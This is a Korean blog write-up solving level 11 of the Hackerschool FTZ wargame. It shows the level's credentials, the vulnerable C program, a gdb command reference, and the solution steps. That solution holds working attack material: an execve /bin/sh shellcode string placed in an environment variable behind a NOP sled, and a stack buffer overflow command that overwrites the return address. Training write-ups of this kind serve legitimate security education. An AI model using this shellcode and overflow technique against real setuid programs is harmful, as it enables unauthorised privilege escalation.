ID : level11
Password : what!@#$?
힌트 :
#include <stdio.h> #include <stdlib.h> int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); } |
문제를 풀기 전에 :
gdb 사용법
1. 실행
gdb 프로그램(또는 프로세스번호) |
-q 또는 -silent 또는 -quiet : 실행 시 쓰레기 설명글 제거 |
2. 종료
quit (또는 q) |
컨트롤 + D |
3. 폭조절
set width 값 |
set height 값 |
4. 디버깅 중간에 쉘 명령어 사용하기
shell 명령어 (경로는 프로그램 위치와 같음) |
5. 팁
탭 : 자동 명령 생성 (중복 항목이 있을 경우 탭을 2번 입력하면 가능한 명령 출력) |
엔터 : 이전 명령어 실행 |
C++의 경우 함수 오버로딩을 허용한다. 따라서 함수명이 중복될 경우 함수명(int, int) 이런식으로 인자까지 함께 작성해주어야 한다.
6. 디버깅 명령어
disas - |
가장 처음부터 디어셈블 |
disas 함수명 |
특정 함수만 디어셈블 |
disas 시작주소 끝주소 |
시작주소부터 끝 주소 까지 디어셈블 |
break *주소 또는 함수명 |
브레이크 포인트 설정 |
x/숫자+출력방식 *주소 또는 함수명 |
지정된 출력방식으로 숫자만큼 출력 ex) x/32x 주소에서 32개를 16진수로 출력 ex) x/s 주소에서 1개만큼 문자열로 출력 (이후 아무 값 없이 엔터 누르면 그 다음 값 출력됨) |
continue (또는 c) |
break 걸린 상태에서 계속 실행 |
run (또는 r) (argv) |
프로그램을 처음부터 실행 argv입력시 인자 설정됨 |
info register 레지스터
|
레지스터의 값과 주소 출력 |
info breakpoints 브레이크포인트 | 브레이크포인트 정보 출력 번호가 없으면 모든 브레이크포인트 목록 출력 |
nexti |
함수 내부로 들어가지 않고 한 라인 실행 |
stepi |
함수 내부로 들어가면서 한 라인 실행 |
backtrace |
프로그램 실행의 스택 추적 결과 출력 |
disable br 브레이크포인트 번호 disable br 2-5 : 2~5 disable br 2 5 : 2,5 disable br once 2 : 한번만 비활성화 |
브레이크 포인트를 비활성화 번호가 없으면 전체를 비활성화 |
enable br 브레이크포인트 번호 |
브레이크포인트를 확성화 번호가 없으면 전체를 활성화 |
d b 브레이크포인트 |
브레이크포인트를 제거 |
풀이 :
1. 스택 구조 이해
위 그림을 보면 strcpy에 인자 전달시 argv[1]의 위치와 str의 위치를 전달한다. 위의 코드를 보니 argv[1] 의 위치는 ebp+c 이고 str의 위치는 ebp-264임을 알 수 있다.
따라서 RET의 위치는 sfp를 건너 뛴 ebp-268이 될 것이다.
2. 쉘코드 작성
RET의 값을 쉘코드가 있는 메모리 주소를 넣기 위해 환경변수를 이용한다.
export eggsh=`python -c 'print "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
중요한 점은 = 사이에 여백이 있어서는 안된다는 점이다.
3. 쉘코드 주소 알아내기
eggsh의 주소값을 알아내기 위해 코드를 작성한다.
쉘코드의 주소가 0xbffffeb6 임을 알 수 있다.
4. 공격코드 작성
./attackme `python -c 'print "\x90" * 268 + "\xb6\xfe\xff\xbf"'`
사용한 코드 :
'리버싱 > FTZ' 카테고리의 다른 글
해커스쿨 FTZ Level10 (공유 메모리 취약점) (0) | 2015.02.17 |
---|---|
해커스쿨 FTZ Level9 (버퍼오버플로우 : 로컬영역 침범) (0) | 2015.02.17 |
해커스쿨 FTZ Level8 (리눅스 패스워드 크랙) (0) | 2015.02.17 |
해커스쿨 FTZ Level7 (이진수 -> 헥사 -> 문자열) (0) | 2015.02.17 |
해커스쿨 FTZ Level6 (프로세스 종료 후 쉘 접근) (0) | 2015.02.17 |